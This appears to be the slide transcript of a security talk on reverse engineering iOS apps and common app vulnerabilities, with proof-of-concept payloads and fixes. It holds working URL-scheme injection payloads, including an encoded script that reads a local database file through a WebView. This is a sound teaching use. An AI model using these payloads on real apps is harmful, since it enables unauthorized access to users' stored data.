exploiting common vulnerabilities on ios apps · agenda • reverse engineering an ios app. •...
TRANSCRIPT
DISCLAIMER
the views and opinions expressed on this talk are solely my own and do not reflect the views or
opinions of my employer.
@ivRodriguezCA
ivan_rodriguez.me• security researcher and software engineer
• focused on iOS reverse engineering and mobile bug bounty programs
• i blog at ivrodriguez.com
• find me on twitter : @ivRodriguezCA
• find me on github: /ivRodriguezCA
@ivRodriguezCA
agenda• reverse engineering an iOS app.
• tools and methods.
• common iOS vulnerabilities (all found on real world applications).
• how to fix and prevent these vulnerabilities.
• resources / conclusions.
• questions.
@ivRodriguezCA
reverse engineering an iOS app• iOS apps are encrypted with an algorithm called FairPlay.
• we need a jailbroken device.
• we don’t “decrypt” the apps, we just dump them from memory.
• transfer them to a desktop where we do the reverse engineering.
@ivRodriguezCA
reverse engineering an iOS app• how we dump the app from memory?
> dump memory <filename> <start_address> <end_address>
@ivRodriguezCA
reverse engineering an iOS app• how we dump the app from memory?
> dump memory <filename> <start_address> <end_address>
• we can use tools to automate this.
@ivRodriguezCA
reverse engineering an iOS app• some of the tools we can use:
- dumpdecrypted: https://github.com/stefanesser/dumpdecrypted
- bfinject: https://github.com/BishopFox/bfinject
- frida-ios-dump: https://github.com/AloneMonkey/frida-ios-dump
@ivRodriguezCA
vulnerability # 2• coinza://news/<trusted-html>
- <html><body><script>document.location = ‘https://en.wikipedia.org/wiki/URL_redirection’;</script></body></html>
•
@ivRodriguezCA
vulnerability # 2• coinza://news/<trusted-html>
- <html><body><script>document.location = ‘https://en.wikipedia.org/wiki/URL_redirection’;</script></body></html>
coinza://news/%3Chtml%3E%3Cbody%3E%3Cscript%3Edocument.location%20%3D%20%27https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FURL_redirection%27%3B%3C%2Fscript%3E%3C%2Fbody%3E%3C%2Fhtml%3E
@ivRodriguezCA
how to fix vulnerability # 2• URL Schemes + WebViews are dangerous and you should be careful
when you pair them.
• don’t load HTML code from user-controlled content.
• if you need to dynamically react to URL Schemes have a set of whitelisted actions.
@ivRodriguezCA
how to fix vulnerability # 3• vet and test your 3rd party frameworks, specially if they handle your
network requests.
• be careful when implementing your own certificate validation logic.
• if you want to implement HPKP you can use TrustKit:
- https://github.com/datatheorem/TrustKit
@ivRodriguezCA
how to fix vulnerability # 3
@ivRodriguezCA
source: https://cheatsheetseries.owasp.org/cheatsheets/Pinning_Cheat_Sheet.html
vulnerability # 4• coinza://news/
%3Chtml%3E%0A%20%20%20%3Cbody%3E%0A%20%20%20%20%20%20%3Cscript%3E%0A%20%20%20%20%20%20%20%20%20function%20loadFile%28%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20var%20xmlhttp%20%3D%20new%20XMLHttpRequest%28%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20documentsPath%20%3D%20document.URL.split%28%27%2F%27%29.slice%280%2C%20-1%29.join%28%27%2F%27%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20filePath%20%3D%20documentsPath%20%2B%20%27%2F%27%20%2B%20%27sqlcipher.db%27%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20xmlhttp.onreadystatechange%20%3D%20function%28%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28xmlhttp.readyState%20%3D%3D%204%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28xmlhttp.responseText.length%20%3E%200%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20alert%28%27Got%20file%20%5C%27sqlcipher.db%5C%27%2C%20size%3A%20%27%20%2B%20xmlhttp.responseText.length%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20xmlhttp.onerror%20%3D%20function%28%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20alert%28%27Error%21%20%27%20%2B%20filePath%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20xmlhttp.open%28%27GET%27%2C%20filePath%2C%20true%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20xmlhttp.send%28%29%3B%0A%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20window.onload%20%3D%20loadFile%3B%0A%20%20%20%20%20%20%3C%2Fscript%3E%0A%20%20%20%20%20%20%3Cp%3E%0A%20%20%20%20%20%20%20%20%20Hello%20World%0A%20%20%20%20%20%20%3C%2Fp%3E%0A%20%20%20%3C%2Fbody%3E%0A%3C%2Fhtml%3E
@ivRodriguezCA
how to fix vulnerability # 4• do not use UIWebView anymore, use WKWebView instead.
• if you absolutely have to use UIWebView:
- do not use - (void)loadRequest:(NSURLRequest *)request for local files.
- Use - (void)loadHTMLString:(NSString *)string baseURL:(NSURL *)baseURL with an URL object created with [URLWithString:@“about:blank”].
-
@ivRodriguezCA
conclusions• add security assessments to your release cycles.
• keep your 3rd party libraries up to date.
• be careful copy-pasting code from online sources.
• have a public bounty program or at least public channels for responsible disclosures.
@ivRodriguezCA
resources• OWASP - Mobile Application Security Verification Standard
https://github.com/OWASP/owasp-masvs
• OWASP - The Mobile Security Testing Guide https://github.com/OWASP/owasp-mstg
• Resources Page of my course https://github.com/ivRodriguezCA/RE-iOS-Apps/blob/master/Resources.md
@ivRodriguezCA
resources• for a more detailed guide visit:https://github.com/ivRodriguezCA/RE-iOS-Apps
@ivRodriguezCA